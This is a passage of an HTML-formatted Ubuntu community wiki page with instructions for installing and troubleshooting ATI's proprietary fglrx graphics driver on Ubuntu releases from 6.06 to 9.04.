class=&quot;anchor&quot; id=&quot;line-23&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line862&quot;&gt;For specific chipsets and models, see &lt;a class=&quot;http&quot; href=&quot;http://xorg.freedesktop.org/releases/X11R6.7.0/doc/radeon.4.html&quot;&gt;the Xorg 7.0 Release Notes&lt;/a&gt;. &lt;span class=&quot;anchor&quot; id=&quot;line-24&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-25&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-26&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h2 id=&quot;Install from Ubuntu repositories (easier)&quot;&gt;Install from Ubuntu repositories (easier)&lt;/h2&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-27&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-28&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for Ubuntu 9.04 (Jaunty)&quot;&gt;Instructions for Ubuntu 9.04 (Jaunty)&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-29&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Enable the accelerated ATI graphics driver in the &#39;Hardware Drivers&#39; (System-&gt;Hardware drivers), then do: &lt;span class=&quot;anchor&quot; id=&quot;line-30&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-31&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-32&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo dpkg-reconfigure -phigh linux-restricted-modules-`uname -r`&lt;br /&gt;sudo insmod /lib/modules/`uname -r`/volatile/fglrx.ko&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-33&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Log out and log in. &lt;span class=&quot;anchor&quot; id=&quot;line-34&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-35&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h4 id=&quot;JAUNTY NOTICE&quot;&gt;JAUNTY NOTICE&lt;/h4&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-36&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style=&quot;list-style-type: none;&quot;&gt;&lt;p class=&quot;line862&quot;&gt;The above Jaunty 9.04 instructions don&#39;t actually work because the latest ATI driver is incompatible with XOrg 1.6. To see a guide on instructing how to downgrade XOrg and install the ATI driver, view this link:&lt;br /&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-37&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;line891&quot;&gt;&lt;a class=&quot;http&quot; href=&quot;http://tan-com.com/posts/technology/fix-ubuntu-904-ati-driver-issue&quot;&gt;http://tan-com.com/posts/technology/fix-ubuntu-904-ati-driver-issue&lt;/a&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-38&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-39&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for Ubuntu 8.04 (Hardy) and 8.10 (Intrepid)&quot;&gt;Instructions for Ubuntu 8.04 (Hardy) and 8.10 (Intrepid)&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-40&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Enable the accelerated ATI graphics driver in the hardware drivers menu (System-&gt;Administration-&gt;Hardware Drivers), then do: &lt;span class=&quot;anchor&quot; id=&quot;line-41&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-42&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-43&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo dpkg-reconfigure -phigh linux-restricted-modules-`uname -r`&lt;br /&gt;sudo insmod /lib/modules/`uname -r`/volatile/fglrx.ko&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-44&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Log out and log in. &lt;span class=&quot;anchor&quot; id=&quot;line-45&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-46&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for Kubuntu 7.10 (Gutsy)&quot;&gt;Instructions for Kubuntu 7.10 (Gutsy)&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-47&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-48&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;First make sure &lt;em&gt;linux-restricted-modules-generic&lt;/em&gt; and &lt;em&gt;restricted-manager-kde&lt;/em&gt; are both installed &lt;span class=&quot;anchor&quot; id=&quot;line-49&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-50&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo apt-get install linux-restricted-modules-generic restricted-manager-kde&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-51&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-52&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Open the restricted drivers manager from &lt;strong&gt;KMenu → System Settings → Advanced → Restricted Drivers&lt;/strong&gt; and select &quot;ATI accelerated graphics driver&quot;. This will hopefully enable fglrx in a painless way. If not, follow the instructions for Feisty. &lt;span class=&quot;anchor&quot; id=&quot;line-53&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-54&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-55&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for Ubuntu 7.10 (Gutsy)&quot;&gt;Instructions for Ubuntu 7.10 (Gutsy)&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-56&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-57&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Install linux-restricted-modules and restricted-manager provided in the restricted repositories: &lt;span class=&quot;anchor&quot; id=&quot;line-58&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-59&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-60&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-61&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo apt-get update&lt;br /&gt;sudo apt-get install linux-restricted-modules-generic restricted-manager&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-62&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-63&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Open the restricted drivers manager in &quot;System -&gt; Administration -&gt; Restricted Drivers Manager&quot; and select &quot;ATI accelerated graphics driver&quot;. &lt;span class=&quot;anchor&quot; id=&quot;line-64&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-65&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-66&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for 6.06 (Dapper)&quot;&gt;Instructions for 6.06 (Dapper)&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-67&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-68&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Install the kernel drivers. These drivers should be installed by default, but it&#39;s better to make sure they are installed. You need the package linux-&lt;tt&gt;$arch&lt;/tt&gt;, where you replace &lt;tt&gt;$arch&lt;/tt&gt; by the CPU architecture for the machine. This is 386 for Intel Pentium, 686 for Celeron, Pentium Pro, Pentium II, Pentium III, and Pentium 4 without Hyper-Threading. 686-smp for Pentium 4 with Hyper-Threading, or k7 or k7-smp for AMD athlon. On 64-bit systems, this may be amd64-generic, amd64-k8, amd64-k8-smp, or amd64-xeon. &lt;span class=&quot;anchor&quot; id=&quot;line-69&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-70&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-71&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-72&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-73&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo apt-get install linux-686&lt;br /&gt;or&lt;br /&gt;sudo apt-get install linux-k7&lt;br /&gt;or&lt;br /&gt;...&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-74&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-75&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;You also need to install the restricted-modules package that match ***exactly*** the kernel you are running, as well as specific required packages: (if you ran the previous command, make sure to reboot on your new kernel, otherwise this will install the wrong kernel modules !) &lt;span class=&quot;anchor&quot; id=&quot;line-76&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-77&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-78&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-79&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-80&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo apt-get update&lt;br /&gt;sudo apt-get install linux-restricted-modules-$(uname -r)&lt;br /&gt;sudo apt-get install xorg-driver-fglrx fglrx-control&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-81&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-82&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Please note that the fglrx-control package is not compulsory as it seems to be buggy (but wont affect your machine in anyway &lt;img alt=&quot;:)&quot; src=&quot;https://help.ubuntu.com/htdocs/ubuntunew/img/smile.png&quot; title=&quot;:)&quot; height=&quot;15&quot; width=&quot;15&quot; /&gt; ). &lt;span class=&quot;anchor&quot; id=&quot;line-83&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-84&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line862&quot;&gt;If the restricted-modules package for the kernel you are running is not available (it happens sometimes with K/Ubuntu), you may have to opt for running a kernel for which this package is available or to install the drivers directly from the setup script provided by ATI (&lt;a class=&quot;https&quot; href=&quot;https://support.ati.com/ics/support/default.asp?deptID=894&amp;amp;task=knowledge&amp;amp;folderID=27&quot;&gt;https://support.ati.com/ics/support/default.asp?deptID=894&amp;amp;task=knowledge&amp;amp;folderID=27&lt;/a&gt;) &lt;span class=&quot;anchor&quot; id=&quot;line-85&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-86&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line874&quot;&gt;Once the above packages are correctly installed, run these commands: &lt;span class=&quot;anchor&quot; id=&quot;line-87&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-88&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-89&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-90&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo aticonfig --initial&lt;br /&gt;sudo aticonfig --overlay-type=Xv&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-91&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-92&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Then go back and edit xorg.conf with your favorite editor, perhaps:&lt;span class=&quot;anchor&quot; id=&quot;line-93&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;gksudo gedit /etc/X11/xorg.conf&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-94&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;or:&lt;span class=&quot;anchor&quot; id=&quot;line-95&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;kdesu kate /etc/X11/xorg.conf&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-96&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;and make sure that &lt;span class=&quot;anchor&quot; id=&quot;line-97&quot;&gt;&lt;/span&gt;under the &quot;Device&quot; section, the Driver is set to &lt;span class=&quot;anchor&quot; id=&quot;line-98&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-99&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;Driver &quot;fglrx&quot;&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-100&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-101&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;You will have 2 device sections related to your graphic card, one is the pre-aticonfig one, and should use the ati or radeon driver. No need to change this part as it is not used by xorg anymore. The other device section however will have to use the fglrx driver. &lt;span class=&quot;anchor&quot; id=&quot;line-102&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-103&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line874&quot;&gt;It appears that fglrx is often unstable, at least on AMD64. &lt;span class=&quot;anchor&quot; id=&quot;line-104&quot;&gt;&lt;/span&gt;System may lock on 8.25 driver. &lt;span class=&quot;anchor&quot; id=&quot;line-105&quot;&gt;&lt;/span&gt;3D accell may not work on 8.28. &lt;span class=&quot;anchor&quot; id=&quot;line-106&quot;&gt;&lt;/span&gt;The 8.26.18 driver may be your best bet, as of Sept2006. &lt;span class=&quot;anchor&quot; id=&quot;line-107&quot;&gt;&lt;/span&gt;Instructions for updating drivers are at: &lt;span class=&quot;anchor&quot; id=&quot;line-108&quot;&gt;&lt;/span&gt;&lt;a class=&quot;http&quot; href=&quot;http://wiki.cchtml.com/index.php/Ubuntu_Dapper_Installation_Guide#Method_2:_Generating.2FInstalling_Ubuntu_packages_for_the_8.28.8_drivers_in_Ubuntu_Dapper_Manually&quot;&gt;http://wiki.cchtml.com/index.php/Ubuntu_Dapper_Installation_Guide#Method_2:_Generating.2FInstalling_Ubuntu_packages_for_the_8.28.8_drivers_in_Ubuntu_Dapper_Manually&lt;/a&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-109&quot;&gt;&lt;/span&gt;But I recommend 8.26 at this time, not 8.28. &lt;span class=&quot;anchor&quot; id=&quot;line-110&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-111&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line874&quot;&gt;Reboot. &lt;span class=&quot;anchor&quot; id=&quot;line-112&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-113&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line874&quot;&gt;Confirm it worked, by issuing the &quot;fglrxinfo&quot; command: &lt;span class=&quot;anchor&quot; id=&quot;line-114&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;fglrxinfo/glxinfo may not work properly for you via SSH and via the console when logged in as root. &lt;span class=&quot;anchor&quot; id=&quot;line-115&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-116&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-117&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-118&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-119&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-120&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-121&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ fglrxinfo&lt;br /&gt;display: :0.0  screen: 0&lt;br /&gt;OpenGL vendor string: ATI Technologies Inc.&lt;br /&gt;OpenGL renderer string: RADEON 9700 Generic&lt;br /&gt;OpenGL version string: 2.0.5755 (8.24.8)&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-122&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-123&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Source: &lt;span class=&quot;anchor&quot; id=&quot;line-124&quot;&gt;&lt;/span&gt;&lt;a class=&quot;http&quot; href=&quot;http://wiki.cchtml.com/index.php/Ubuntu_Dapper_Installation_Guide&quot;&gt;http://wiki.cchtml.com/index.php/Ubuntu_Dapper_Installation_Guide&lt;/a&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-125&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-126&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h4 id=&quot;Troubleshooting&quot;&gt;Troubleshooting&lt;/h4&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-127&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-128&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;You may see a message &lt;span class=&quot;anchor&quot; id=&quot;line-129&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;Xlib:  extension &quot;XFree86-DRI&quot; missing on display &quot;:1.0&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-130&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;If the line  &lt;span class=&quot;anchor&quot; id=&quot;line-131&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-132&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;load &quot;dri&quot;&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-133&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;in  &lt;span class=&quot;anchor&quot; id=&quot;line-134&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-135&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;Section &quot;Module&quot;&lt;/pre&gt;&lt;p class=&quot;line862&quot;&gt; is missing from your &lt;tt&gt;/etc/X11/xorg.conf&lt;/tt&gt; then add it.  However this message does not necessarily indicate a problem.&lt;span class=&quot;anchor&quot; id=&quot;line-136&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-137&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line874&quot;&gt;If fglrxinfo gives you the following, your installation is not completed correctly: &lt;span class=&quot;anchor&quot; id=&quot;line-138&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;fglrxinfo/glxinfo may not work properly for you via SSH and via the console when logged in as root. &lt;span class=&quot;anchor&quot; id=&quot;line-139&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-140&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-141&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-142&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-143&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-144&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ fglrxinfo&lt;br /&gt;display: :0.0  screen: 0&lt;br /&gt;OpenGL vendor string: Mesa project: www.mesa3d.org&lt;br /&gt;OpenGL renderer string: Mesa GLX Indirect&lt;br /&gt;OpenGL version string: 1.2 (1.5 Mesa 6.4.1)&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-145&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-146&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;In this case, watch for these things: &lt;span class=&quot;anchor&quot; id=&quot;line-147&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-148&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Make sure that the resctricted-modules package installed correspond to the kernel your are running and that you can load the fglrx driver, wether by issuing the command &quot;sudo modprobe fglrx&quot; or by verifying that the module appears in the list of loaded modules, by issuing the command &quot;lsmod&quot;; &lt;span class=&quot;anchor&quot; id=&quot;line-149&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;It may be necessary to establish a symbolic link for the /usr/lib/dri folder, by issuing the following command: &quot;sudo ln -s /usr/lib/dri /usr/lib/xorg/modules/dri&quot;; &lt;span class=&quot;anchor&quot; id=&quot;line-150&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;You may have to deload the radeon and dri modules, by issuing &quot;sudo rmmod radeon&quot; and &quot;sudo rmmod dri&quot;; &lt;span class=&quot;anchor&quot; id=&quot;line-151&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Make sure you deload the module ati-agp by issuing &quot;sudo rmmod ati-agp&quot; and blacklist it in /etc/modprobe.d/blacklist. &lt;span class=&quot;anchor&quot; id=&quot;line-152&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Check the /etc/X11/xorg.conf in Section &quot;Module&quot; to have this line: Load &quot;dri&quot; and it is not commented.  &lt;span class=&quot;anchor&quot; id=&quot;line-153&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-154&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h2 id=&quot;Install from ati.com (latest version of drivers)&quot;&gt;Install from ati.com (latest version of drivers)&lt;/h2&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-155&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-156&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt;&lt;img alt=&quot;IconsPage/warning.png&quot; class=&quot;attachment&quot; src=&quot;https://help.ubuntu.com/community/IconsPage?action=AttachFile&amp;amp;do=get&amp;amp;target=warning.png&quot; title=&quot;IconsPage/warning.png&quot; /&gt; &lt;strong&gt;WARNING&lt;/strong&gt;: this method of installing the driver is &lt;strong&gt;not recommended and not supported&lt;/strong&gt;, and any problems that occur after using the following instructions should &lt;strong&gt;not&lt;/strong&gt; be reported to the Launchpad bug area. &lt;span class=&quot;anchor&quot; id=&quot;line-157&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-158&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for Ubuntu 8.04 (Hardy) with ATi 8.443.1-1 and above binary drivers&quot;&gt;Instructions for Ubuntu 8.04 (Hardy) with ATi 8.443.1-1 and above binary drivers&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-159&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-160&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;To begin first install the needed packages: &lt;span class=&quot;anchor&quot; id=&quot;line-161&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-162&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-163&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-164&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo apt-get install dpkg-dev debhelper libstdc++5 dkms build-essential cdbs fakeroot&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-165&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-166&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;You will then need to build the installation packages with the downloaded ATi drivers (ensure the ATi drivers have the execute flag set first): &lt;span class=&quot;anchor&quot; id=&quot;line-167&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-168&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-169&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-170&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;./ati-driver-installer-8.443.1-x86.x86_64.run --buildpkg Ubuntu/&lt;version&gt; &lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-171&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-172&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;You can replace &lt;version&gt; in the above with the codename for the version of Ubuntu you are running (gutsy, hardy, intrepid). &lt;span class=&quot;anchor&quot; id=&quot;line-173&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-174&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-175&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line874&quot;&gt;Then install the binary drivers: &lt;span class=&quot;anchor&quot; id=&quot;line-176&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-177&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-178&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-179&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo dpkg -i fglrx-kernel-source_&lt;version&gt;.deb&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-180&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-181&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-182&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Run the following command to install the Xorg driver &lt;span class=&quot;anchor&quot; id=&quot;line-183&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-184&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-185&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-186&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo dpkg -i xorg-driver-fglrx_&lt;version&gt;.deb&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-187&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-188&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Finally run aticonfig to build your new xorg.conf if you have not done so before: &lt;span class=&quot;anchor&quot; id=&quot;line-189&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-190&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-191&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;sudo aticonfig --initial&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-192&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-193&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Reboot and X.Org should start with the ATi binary drivers fully functional. To confirm the drivers are working from a terminal run: &lt;span class=&quot;anchor&quot; id=&quot;line-194&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-195&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; 